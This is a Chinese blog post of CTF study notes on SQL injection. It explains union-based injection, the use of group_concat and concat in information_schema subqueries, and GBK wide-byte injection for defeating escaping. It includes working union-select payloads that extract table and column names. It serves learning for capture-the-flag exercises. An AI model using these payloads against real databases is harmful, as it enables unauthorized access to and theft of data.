CTF常用sql注入(一)联合注入和宽字节

0x01 前言

给自己总结一下sql注入的常用姿势吧,记录一下学习

0x02 联合

联合注入的关键词是union

SQL的union联合注入原理是联合两个表进行注入攻击,使用union select关键词来进行联合查询。

那么为什么我们在题目中一般是只写一个呢

因为

复制代码
 $sql = "select * from ctfshow_user where pass = '{$password}' and username = '{$username}';";

那么我们在进行闭合之后前面的语句进行查询之后已经算是一个表了,所以我们直接衔接就可以了

复制代码
username=-1' union select 1,2,3--+&pass=1

变成了

复制代码
 $sql = "select * from ctfshow_user where pass = '1' and username = '-1' union select 1,2,3--+';";

成功就把两句连接起来

结果也表明了只要列一样就可以实现注入,这也省去了order by的查列

而仅仅这样子是很难写出一个完整的注入语句的,所以我们这里使用到了子查询,就是在其中在衔接一个sql语句

复制代码
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+

在此也顺便讲讲一个小东西

0x03 group_concat和concat

那就是我们最常用的group_concatconcat,这两者的区别在下

复制代码
group_concat
这个函数是用来连接竖着的东西,简单点来说就是我有一个表
+-------+------------+-----------+
| score | student_id | course_id |
+-------+------------+-----------+
| 70.5  |          1 |         1 |
| 98.5  |          1 |         3 |
| 33.0  |          1 |         5 |
| 98.0  |          1 |         6 |
| 60.0  |          2 |         1 |
| 59.5  |          2 |         5 |
| 33.0  |          3 |         1 |
| 68.0  |          3 |         3 |
| 99.0  |          3 |         5 |
| 67.0  |          4 |         1 |
| 23.0  |          4 |         3 |
| 56.0  |          4 |         5 |
| 72.0  |          4 |         6 |
| 81.0  |          5 |         1 |
| 37.0  |          5 |         5 |
| 56.0  |          6 |         2 |
| 43.0  |          6 |         4 |
| 79.0  |          6 |         6 |
| 80.0  |          7 |         2 |
| 92.0  |          7 |         6 |
+-------+------------+-----------+
20 rows in set (0.04 sec)
你运用group_concat()这个函数来查询列名的话,就会回显 score,student_id,course_id

什么时候使用呢就是当回显为

Subquery returns more than 1 row

concat的话就是横着连接,就是把你查询的东西和你拼接的符号连接了

复制代码
?id=-1' union select 1,concat(0x3d,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x3d),3--+

0x3d是'='     ,嗯差不多这个意思吧,主要就是在报错注入中使用

0x04 宽字节

我们怎么看是否存在宽字节注入呢

就是转移符号\,他会影响我们对'的闭合,从而影响注入

复制代码
此时 php 会根据数据库中的编码自动来确定使用那种编码,
可以使用 <?php $m="字"; echo strlen($m); 来进行判断,
如果输出的值是3说明是utf-8编码;如果输出的值是 2 说明是 gbk 编码。

mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围)
那么我们就可以把转义字符正常解析从而正常闭合sql语句进行SQL注入

有转义字符,考虑宽字节注入

成功

相关推荐
一匹电信狗20 小时前
【MySQL】数据库的相关操作
linux·运维·服务器·数据库·mysql·ubuntu·小程序
TDengine (老段)21 小时前
连接 TDengine 遇到报错 “failed to connect to server, reason: Connection refused” 怎么办?
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
李慕婉学姐1 天前
Springboot黄河文化科普网站5q37v(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
Cabbage_acmer1 天前
MySQL期中考试突击!
数据库·mysql
Lu Yao_1 天前
Redis 缓存
数据库·redis·缓存
小桥流水人家哇1 天前
性能测试单场景测试时,是设置并发读多个文件,还是设置不同的用户读不同的文件?
数据库·性能测试技巧
表示这么伤脑筋的题我不会1 天前
Oracle 21C 部署ogg踩过的坑
数据库·oracle
你不是我我1 天前
【Java 开发日记】MySQL 与 Redis 如何保证双写一致性?
数据库·redis·缓存
望获linux1 天前
【实时Linux实战系列】实时 Linux 在边缘计算网关中的应用
java·linux·服务器·前端·数据库·操作系统
fredinators1 天前
数据库专家
大数据·数据库